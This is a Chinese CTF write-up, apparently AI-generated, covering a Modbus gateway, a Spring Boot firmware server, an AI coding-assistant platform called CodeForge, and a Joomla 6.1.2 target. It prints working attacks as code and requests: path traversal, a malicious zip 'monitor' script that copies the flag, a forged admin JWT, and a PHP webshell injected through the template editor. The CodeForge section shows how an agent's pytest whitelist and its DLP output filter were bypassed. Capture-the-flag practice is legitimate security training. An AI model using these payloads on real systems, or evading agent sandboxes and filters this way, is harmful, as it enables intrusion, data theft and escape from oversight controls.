time.sleep(1)
out_len = self.read_regs(tid + 3, 100, 1)[0]
n = min((out_len + 1) // 2 + 1, 33)
return regs_to_ascii(self.read_regs(tid + 4, 101, min(n, 32)))命令字 7 是重置密码(参数固定为六个井号),返回值直接就是 flag:
run_cmd(7, "######")
→ flag8{e83bf528d67458ab6c8271af85731ad1}时序敏感:参数区 → 命令字 → 触发位,顺序错会吃到上一轮残留参数。
flag9:Modbus 网关——登录认证后命令执行
cmd5 safe_exec 需认证,密码来自 deploy 桶情报(MirDoorOpen^202X)。先 login 再执行:
run_cmd(6, "MirDoorOpen^202X") → LOGIN_OK: authenticated
run_cmd(5, "cat /flag9") → flag9{5358c00018c8c5c38538bfd65e90fa80}flag10:超算中心固件植入
10.108.2.3:8080 为 Spring Boot 固件管理站(com.telecom file-upload)。
① 下载接口路径穿越(fileName 未过滤 ..):
GET /download?fileName=../app.jar → 19MB Spring Boot jar
GET /download?fileName=../passwords.txt → 100 条一次性密码(首行 Wehukunl)② 反编译确认逻辑:/install 对加密 zip 用密码本逐条尝试、每条只用一次;解压后必须含 <组件名>/monitor;monitor 被算力监控周期以 ProcessBuilder 执行,输出须为"使用率,内存,温度,功耗"四元组。
③ 纯 Python 实现 ZipCrypto(目标容器无 zip 二进制;密钥更新用裸 CRC32,不能直接用 binascii.crc32):
def crc32_raw(crc, b): return ((crc >> 8) ^ CRCTABLE[(crc ^ b) & 0xff]) & 0xffffffff
class ZipCrypto: # k0/k1/k2 三键 + magic byte,逐字节异或
...
# zip 结构:flags=0x01(加密),method=0(存储),12 字节加密头末位 = CRC32 高字节校验恶意 monitor 脚本(输出合法指标 + 偷 flag 到可下载目录):
#!/bin/sh
cp /flag10 /app/uploads/pwnd.txt 2>/dev/null
echo "50,32,65,220"④ 上传 → 安装 → 取回:
POST /upload (multipart, file=pwn.zip, ZipCrypto 密码 = Wehukunl)
POST /install (form: fileName=pwn.zip) # 解密解压+注册组件
# 等 ~16s 监控周期执行 monitor
GET /download?fileName=pwnd.txt → flag10{f18f285eb9e63be9303fb5c7981999c6}flag11:CodeForge AI(研发区)
研发区 CodeForge 是 AI 编程助手平台,攻击面为 /api/projects/{id}/agent/chat 的 agent 工具(ls/read/write/run)。
① JWT 弱密钥:注册登录拿 HS256 JWT,本地字典秒爆密钥 sunshine,伪造 {"sub":"1","username":"admin","role":"admin"} 直接成 admin,读私有项目 agent-playbook。
② README 零宽隐写:可见文本声称"真实 playbook 已迁移 wiki",但文件尾部挂 21KB 的 U+200B/U+200C 零宽字符,按 200B=0、200C=1 每 8 位转字节解码出内部 playbook:
== SHELL TOOL UNLOCK ==
.codeforge/agent.md 含逐字标记 <cf-shell-unlock/> 即启用 shell 工具
- run 白名单 git/npm/pytest,只校验 argv[0]
- 所有 agent 输出过 DLP egress 过滤,flag{ 模式会被截留③ 沙箱语义辨析(最绕的点):实测三套工具文件系统不一致——files API 读写真实 workspace /app/data/projects/
④ pytest 白名单逃逸:files API 写 test_pwn.py 落到真实 workspace,run 触发 pytest 收集执行:
# files API 写入 test_pwn.py
import subprocess
def test_pwn():
R = subprocess.check_output("id; base64 /F1ag; ...", shell=True)
open("/app/data/projects/2/out.txt","wb").write(R) # 写回真实 workspace 绕开 DLPrun pytest → files API 读 out.txt → base64 解码得 flag11{2a50daae8fb60761fc0c33ad1eb061ee}。后续 CodeForge 侧操作统一用 test_pwn.py exec snippet.py 的加载器模式。
joom —— Joomla 6.1.2 未知漏洞审计与模板 RCE(1/1,得分 497.24)
题目:Orion 企业部署的 Joomla CMS,审计组件与配置、挖掘未知漏洞、构造利用链获取服务器 Flag(questionId: 1k0lad23f7956q7epi3ne4i8c6ca3pcb)。无附件,resetNum=0。SSH 跳板 ctf@161.81.254.143:29703(xKLk0Fr8),内网靶标 10.234.1.3:80(Apache 2.4.68 + PHP 8.3.33 + Joomla 6.1.2)。
flag{8f3c1a7d4e9b62f0c5a8173de2469b1f} ← 后台登录 → 模板编辑器注入 webshell → cat /fl1lag信息收集:纯净站 + 补丁 diff 审计
内网仅 80 一个端口。指纹确认 Joomla 6.1.2(2026-07 发布),站点为纯净安装:无第三方组件/模块/模板(核心组件无 XML 清单,命中即第三方,全部 404);无文章内容;注册关闭;API 全部 401/404 无匿名端点。两个额外情报面:500 错误页泄露完整堆栈与绝对路径(webroot=/var/www/html);前置 WAF 对 URL 中裸 [ 直接断连(%5B 编码放行,影响数组参数注入探测)。
关键路径——补丁即漏洞清单:6.1.2 被 6.1.3(开赛前 5 天发布)修复 10 个 CVE,无公开 PoC。拉取全量 diff(69 个补丁文件)逐文件分析:
| CVE | 缺陷 | 可利用性 |
|---|---|---|
| CVE-2026-73373 | InputFilter 禁止扩展名缺 shtml/shtm/sht/stm,可上传 .shtml 配合 Apache SSI RCE | 需上传点 |
| CVE-2026-71574 | API 控制器 allowAdd/allowEdit/allowDelete 缺 core.manage 校验,低权限可经 API 增删改 | 需低权限账号 |
| CVE-2026-73337 | com_users Dispatcher 对 view=method/methods/callback/captive 放行任意 task → MFA 绕过 | 需登录态 |
| 其余 7 个 | CORS 任意 Origin 反射、下载视图头注入、schema.org 联系人越权泄露/XSS、batch copy 与 categories/fields API ACL | 需凭据或受害者 |
结论:全部需要凭据或受害者,无匿名可利用面——瓶颈收敛到 admin 密码。
凭据瓶颈与突破
remind 邮件差分 oracle 确认唯一用户 admin(admin@example.com,id=208)。Joomla 4+ 安装强制密码不少于 12 位;admin/orion/ctf 等 × 数千词表爆破全失败,joomlaupdate API 的 40 位 X-JUpdate-Token 爆破也失败。最终凭据由用户下发(赛后证实与 configuration.php 中 DB 密码 ChangeMe_Joomla_2026! 同一命名风格 ChangeMe_<角色>_<年份>!,且满足 12 位策略——纯爆破很难命中):
JOOMLA_ADMIN_USER=admin
JOOMLA_ADMIN_PASSWORD=ChangeMe_Admin_2026!后台登录
POST /administrator/index.php,字段:option=com_login&task=login&username=admin&passwd=ChangeMe_Admin_2026!&return=aW5kZXgucGhw&<32hex csrf>=1。
判定坑:Joomla 6 登录失败也 303 回 /administrator/index.php,URL 判定全部无效(此前的爆破假阳性即源于此)。可靠判定是登录后再 GET 后台,看 body class 含 view-login(失败)还是 com_cpanel(成功)。
模板编辑器注入 Webshell(RCE)
① 列模板拿样式 id:
GET /administrator/index.php?option=com_templates&view=templates
→ cassiopeia 样式 id=245(atum=246)② 打开编辑器——file 参数是 base64 编码的模板内路径,/index.php → L2luZGV4LnBocA==(URL 编码为 L2luZGV4LnBocA%3D%3D):
GET /administrator/index.php?option=com_templates&view=template&id=245&file=L2luZGV4LnBocA%3D%3D③ 页面含 <textarea name="jform[source]">(当前源码)与隐藏字段 jform[extension_id]=245、jform[filename]=/var/www/html/templates/cassiopeia/index.php(全路径)、32 位 CSRF token。
④ POST 保存(shell 载荷拼在原文件源码前部):
task=template.apply
jform[source]=<shell>+<原文>
jform[extension_id]=245
jform[filename]=/var/www/html/templates/cassiopeia/index.php
isMedia=0
<csrf>=1shell 载荷:
<?php if(isset($_GET["c"])){echo "XW4EACX";system($_GET["c"]);echo "XW4EACX";exit;} ?>⑤ 验证:
GET /index.php?c=id
→ uid=33(www-data) RCE 达成字段名坑:jform[extension] 是错误字段名(正确为 jform[extension_id]);file 参数必须用 base64 无 padding 截断形式。
读取 Flag
find / -maxdepth 3 -iname "*flag*" # 漏!文件名是 fl1lag(数字 1,同形字符绕过 *flag* 通配)
cat /fl1lagflag{8f3c1a7d4e9b62f0c5a8173de2469b1f}(/fl1lag 39 字节,root 只读但 world-readable,位于根目录。)
提交与得分
POST /competition/aidPerson/submit
{"competitionId":"...","flag":"flag{8f3c1a7d4e9b62f0c5a8173de2469b1f}",
"questionId":"1k0lad23f7956q7epi3ne4i8c6ca3pcb","token":"..."}
→ code=000000, data.right=true;getAidQuestion 确认 score=497.24, right=true经验总结
- 未知漏洞审计:对"被修复的未知 CVE"类题目,拉官方补丁 diff 逐文件分析是最快路径——补丁即漏洞清单。
- 登录判定:Joomla 6 成败都 303 回 index.php,必须用响应体(body class)判定,URL 判定会产生假阳性。
- 长度策略:Joomla 4+ 超级用户密码不少于 12 位,爆破词表应先过滤短词。
文件名坑:fl1lag 会绕过 flag 通配,全盘搜索要多想一步同形字符(数字 1/l、0/o)。
该文章皆为AI自动生成。
info 评论功能已经关闭了呐!